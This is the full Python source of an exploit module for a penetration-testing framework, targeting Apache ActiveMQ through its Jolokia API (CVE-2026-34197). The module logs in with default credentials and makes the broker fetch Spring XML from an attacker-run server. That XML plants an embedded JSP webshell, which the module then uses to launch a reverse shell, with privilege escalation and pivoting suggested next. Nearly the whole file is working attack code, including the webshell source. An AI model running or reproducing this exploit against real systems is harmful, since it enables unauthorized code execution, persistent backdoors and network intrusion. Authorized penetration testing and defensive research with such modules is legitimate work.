Apache ActiveMQ CVE-2026-34197 Jolokia RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
import json
import textwrap
import time
from typing import List

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_server import Http_server
from lib.scanner.http.response_validation import parse_json_response


class Module(Exploit, Http_client, Http_server):
    __info__ = {
        "name": "Apache ActiveMQ CVE-2026-34197 Jolokia RCE",
        "description": (
            "CVE-2026-34197: authenticated Jolokia exec on org.apache.activemq MBeans allows "
            "addNetworkConnector with a crafted vm:// URI that loads remote Spring XML "
            "(xbean:http://ATTACKER/shell.xml) for arbitrary code execution. This module "
            "serves shell.xml with an inline base64 JSP webshell, then invokes the configured "
            "payload via the dropped JSP."
        ),
        "author": ["Naveen Sunkavally (Horizon3.ai)", "KittySploit Team"],
        "cve": ["CVE-2026-34197"],
        "platform": Platform.LINUX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt",
            "https://www.cve.org/CVERecord?id=CVE-2026-34197",
        ],
        "tags": [
            "activemq",
            "jolokia",
            "java",
            "spring",
            "rce",
            "cve-2026-34197",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "network_probe"],
            "expected_requests": 6,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["activemq", "java"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": ["/api/jolokia"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    port = OptPort(8161, "ActiveMQ web console port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    username = OptString("admin", "ActiveMQ console username", required=False)
    password = OptString("admin", "ActiveMQ console password", required=False)
    callback_host = OptString(
        "",
        "Host/IP reachable by ActiveMQ for shell.xml (defaults to lhost)",
        required=False,
    )
    srvport = OptPort(9999, "Local HTTP server port for shell.xml", True)
    webapps_path = OptString(
        "",
        "Target webapps admin path (auto-tries common paths when empty)",
        required=False,
    )
    shell_name = OptString(
        "",
        "Dropped JSP filename under /admin/ (random when empty)",
        required=False,
        advanced=True,
    )
    wait_seconds = OptInteger(
        8,
        "Seconds to wait after triggering addNetworkConnector",
        required=False,
        advanced=True,
    )
    verify_cmd = OptString("id", "Command used to verify the dropped JSP", required=False)

    _WEBAPPS_PATHS = (
        "/opt/activemq/webapps/admin",
        "/opt/apache-activemq/webapps/admin",
        "/usr/local/activemq/webapps/admin",
        "/home/activemq/webapps/admin",
    )

    _JSP_WEBSHELL = textwrap.dedent(
        """\
        <%@ page import="java.io.*" %>
        <%
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process p = Runtime.getRuntime().exec(new String[]{"bash","-c",cmd});
            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
            BufferedReader er = new BufferedReader(new InputStreamReader(p.getErrorStream()));
            String line;
            while ((line = br.readLine()) != null) out.println(line);
            while ((line = er.readLine()) != null) out.println(line);
        }
        %>
        """
    )

    _SHELL_XML_TEMPLATE = textwrap.dedent(
        """\
        <?xml version="1.0" encoding="UTF-8"?>
        <beans xmlns="http://www.springframework.org/schema/beans"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xsi:schemaLocation="http://www.springframework.org/schema/beans
               http://www.springframework.org/schema/beans/spring-beans.xsd">
          <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
              <list>
                <value>bash</value>
                <value>-c</value>
                <value>echo {b64} | base64 -d > {webapps_path}/{filename}</value>
              </list>
            </constructor-arg>
          </bean>
        </beans>
        """
    )

    def _basic_headers(self) -> dict:
        user = self.username or "admin"
        pwd = self.password or "admin"
        token = base64.b64encode(f"{user}:{pwd}".encode()).decode()
        return {
            "Authorization": f"Basic {token}",
            "Origin": self._target_origin(),
        }

    def _target_origin(self) -> str:
        protocol = "https" if self.ssl else "http"
        return f"{protocol}://{self.target}:{int(self.port)}"

    def _resolve_callback_host(self) -> str:
        manual = str(self.callback_host or "").strip()
        if manual:
            return manual
        lhost = str(self.lhost or "").strip()
        if lhost:
            return lhost
        srvhost = str(self.srvhost or "0.0.0.0").strip()
        if srvhost and srvhost not in ("0.0.0.0", "::"):
            return srvhost
        raise ProcedureError(
            FailureType.ConfigurationError,
            "Set callback_host or lhost to an address reachable by ActiveMQ",
        )

    def _jolokia_post(self, payload: dict):
        return self.http_request(
            method="POST",
            path="/api/jolokia/",
            data=json.dumps(payload),
            headers={
                **self._basic_headers(),
                "Content-Type": "application/json",
            },
            timeout=max(int(self.timeout or 15), 15),
            allow_redirects=False,
        )

    def _jolokia_get(self):
        return self.http_request(
            method="GET",
            path="/api/jolokia/",
            headers=self._basic_headers(),
            timeout=max(int(self.timeout or 10), 10),
            allow_redirects=False,
        )

    def _jolokia_ok(self, response) -> bool:
        if not response or response.status_code not in (200, 401, 403):
            return False
        data, err = parse_json_response(response)
        if err or not isinstance(data, dict):
            return response.status_code == 200
        return data.get("status") == 200 or data.get("value") is not None

    def _get_broker_name(self) -> str:
        response = self._jolokia_post(
            {
                "type": "read",
                "mbean": "org.apache.activemq:type=Broker,brokerName=*",
            }
        )
        data, _err = parse_json_response(response) if response else (None, "bad")
        if isinstance(data, dict) and data.get("status") == 200 and data.get("value"):
            for mbean in data["value"]:
                for part in str(mbean).split(","):
                    if part.startswith("brokerName="):
                        return part.split("=", 1)[1]
        print_warning("Using default broker name: localhost")
        return "localhost"

    def _remove_network_connector(self, broker: str) -> None:
        try:
            self._jolokia_post(
                {
                    "type": "exec",
                    "mbean": f"org.apache.activemq:type=Broker,brokerName={broker}",
                    "operation": "removeNetworkConnector(java.lang.String)",
                    "arguments": ["NC"],
                }
            )
        except Exception:
            pass

    def _add_network_connector(self, broker: str, callback_host: str, callback_port: int) -> bool:
        uri = (
            f"static:(vm://evil?brokerConfig=xbean:http://{callback_host}:"
            f"{int(callback_port)}/shell.xml)"
        )
        response = self._jolokia_post(
            {
                "type": "exec",
                "mbean": f"org.apache.activemq:type=Broker,brokerName={broker}",
                "operation": "addNetworkConnector(java.lang.String)",
                "arguments": [uri],
            }
        )
        if not response:
            return False
        data, _err = parse_json_response(response)
        if isinstance(data, dict):
            return data.get("status") == 200
        return response.status_code == 200

    def _build_shell_xml(self, webapps_path: str, filename: str) -> str:
        jsp_b64 = base64.b64encode(self._JSP_WEBSHELL.encode()).decode()
        return self._SHELL_XML_TEMPLATE.format(
            b64=jsp_b64,
            webapps_path=webapps_path,
            filename=filename,
        )

    def _start_shell_server(self, xml_body: str):
        body = xml_body.encode()

        def do_get(handler):
            path = (handler.path or "").split("?", 1)[0]
            if path in ("/shell.xml", "/shell.xml/"):
                print_success(f"ActiveMQ fetched shell.xml from {handler.client_address[0]}")
                handler.send_response(200)
                handler.send_header("Content-Type", "application/xml")
                handler.send_header("Content-Length", str(len(body)))
                handler.end_headers()
                handler.wfile.write(body)
                return
            handler.send_response(404)
            handler.end_headers()

        if not self.srvhost or str(self.srvhost or "").strip() == "":
            self.srvhost = "0.0.0.0"
        return self.listen_http({"GET": do_get}, forever=True, background=True)

    def _webshell_paths(self, filename: str) -> List[str]:
        return [f"/admin/{filename}", f"/admin/{filename}?cmd=id"]

    def _invoke_webshell(self, filename: str, command: str) -> str:
        response = self.http_request(
            method="GET",
            path=f"/admin/{filename}",
            params={"cmd": command},
            headers=self._basic_headers(),
            timeout=max(int(self.timeout or 15), 15),
            allow_redirects=True,
        )
        if not response or response.status_code != 200:
            return ""
        return (response.text or "").strip()

    def _webapps_candidates(self) -> List[str]:
        manual = str(self.webapps_path or "").strip()
        if manual:
            return [manual]
        return list(self._WEBAPPS_PATHS)

    def check(self):
        response = self._jolokia_get()
        if not response:
            return {
                "vulnerable": False,
                "reason": "No response from /api/jolokia/",
                "confidence": "low",
            }
        if response.status_code == 401:
            return {
                "vulnerable": False,
                "reason": "Jolokia reachable but credentials were rejected",
                "confidence": "medium",
            }
        if not self._jolokia_ok(response):
            return {
                "vulnerable": False,
                "reason": f"Jolokia not usable (HTTP {response.status_code})",
                "confidence": "low",
            }
        return {
            "vulnerable": True,
            "reason": "Jolokia API reachable with supplied credentials",
            "confidence": "medium",
        }

    def run(self):
        if not self._jolokia_ok(self._jolokia_get()):
            print_error("Jolokia API is not accessible with the supplied credentials")
            return False

        print_success("Jolokia API is accessible")
        broker = self._get_broker_name()
        print_info(f"Broker name: {broker}")

        callback_host = self._resolve_callback_host()
        callback_port = int(self.srvport)
        filename = str(self.shell_name or "").strip() or f"ks_{self.random_text(8).lower()}.jsp"
        payload_cmd = str(self.payload or "").strip()
        if not payload_cmd:
            print_error("No payload configured")
            return False

        self._remove_network_connector(broker)

        for webapps_path in self._webapps_candidates():
            print_status(f"Trying webapps path: {webapps_path}")
            xml_body = self._build_shell_xml(webapps_path, filename)
            httpd = self._start_shell_server(xml_body)
            print_success(
                f"Payload server listening on {callback_host}:{callback_port}/shell.xml"
            )

            try:
                if not self._add_network_connector(broker, callback_host, callback_port):
                    print_error("addNetworkConnector returned non-success")
                    self.web_shutdown(httpd)
                    continue
                print_success("addNetworkConnector accepted by Jolokia")

                delay = max(int(self.wait_seconds or 8), 3)
                print_status(f"Waiting {delay}s for broker to fetch shell.xml...")
                time.sleep(delay)

                verify = str(self.verify_cmd or "id").strip() or "id"
                output = self._invoke_webshell(filename, verify)
                if not output or "uid=" not in output:
                    print_warning(f"Webshell not confirmed at /admin/{filename}")
                    self._remove_network_connector(broker)
                    self.web_shutdown(httpd)
                    continue

                print_success(f"Webshell verified at /admin/{filename}")
                print_info(output[:1000])

                print_status("Invoking payload via dropped JSP")
                self._invoke_webshell(filename, payload_cmd)
                print_success(
                    f"Payload dispatched via /admin/{filename}?cmd=... "
                    "(reverse shell may connect asynchronously)"
                )
                self._remove_network_connector(broker)
                self.web_shutdown(httpd)
                return True
            except Exception as exc:
                print_error(f"Exploit attempt failed: {exc}")
                self._remove_network_connector(broker)
                self.web_shutdown(httpd)

        print_error("All webapps paths failed; set webapps_path manually")
        return False